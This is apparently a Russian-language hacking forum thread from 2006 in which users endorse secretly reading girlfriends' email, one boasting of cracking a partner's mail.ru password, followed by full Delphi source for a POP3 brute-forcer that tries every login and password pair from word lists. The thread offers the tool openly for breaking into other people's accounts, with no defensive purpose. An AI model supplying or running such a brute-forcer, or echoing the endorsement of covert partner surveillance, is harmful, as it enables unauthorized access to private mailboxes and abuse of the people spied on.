вот ты попал, неучели соц инженерия даже для своих девушек уже не катит?
Мне моя когда-то даже пароль сама дала Правда там ничего интересног не было
Ха ну сам подумай если она тебе пароль свой дала так на ее почте и немогло быть ничего компромитирующего.
Вседа ведь лучше читать тогда когда она об этом даже не подозревает.Так на всякий случай.Доверяй но проверяй
[QUOTE=seeattact]Да я ломанул её почту mail.ru за 5 секунд на жержи пасс 123456789[/QUOTE]
ГдЕ СкаЧАть эТОТ бРУт.
еСЛИ У ТЕбя есть п0делис... в д0лгах не останусь!!! unkn0wn_a1ias@yahoo.com
Последний раз редактировалось UnKn0wN; 01.03.2006 в 15:41..
а луче ты сам напиши brutforcer
Нам понадобится: Borland Delphi 7, прямые руки и следущие компоненты: 4 шт. Edit, 1кнопка, IdAntiFreeze1 c закладки Indy Misc (но можно и без него), IdPOP с
закладки Indy Clients.
Шкодим:
procedure TForm1.Button1Click(Sender: TObject);
var
LoginStrings,
PassStrings: TStrings;
i,j: integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
LoginStrings.LoadFromFile(Edit1.Text);
PassStrings.LoadFromFile(Edit2.Text);
IdPOP.Host:=Edit3.Text;
IdPOP.Port:=StrToInt(Edit4.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
IdPOP.Username:=LoginStrings.Strings[i];
IdPOP.Password:=PassStrings.Strings[j];
try
IdPOP.Connect;
except
end;
if IdPOP.Connected then
begin
Application.MessageBox(PChar('Имя:'+LoginString s.Strings[i]+
'Пароль:'+PassStrings.Strings[j]),'Пароль найден!');
IdPOP.Disconnect;
Exit;
end;
end;
LoginStrings.Free;
PassStrings.Free;
end;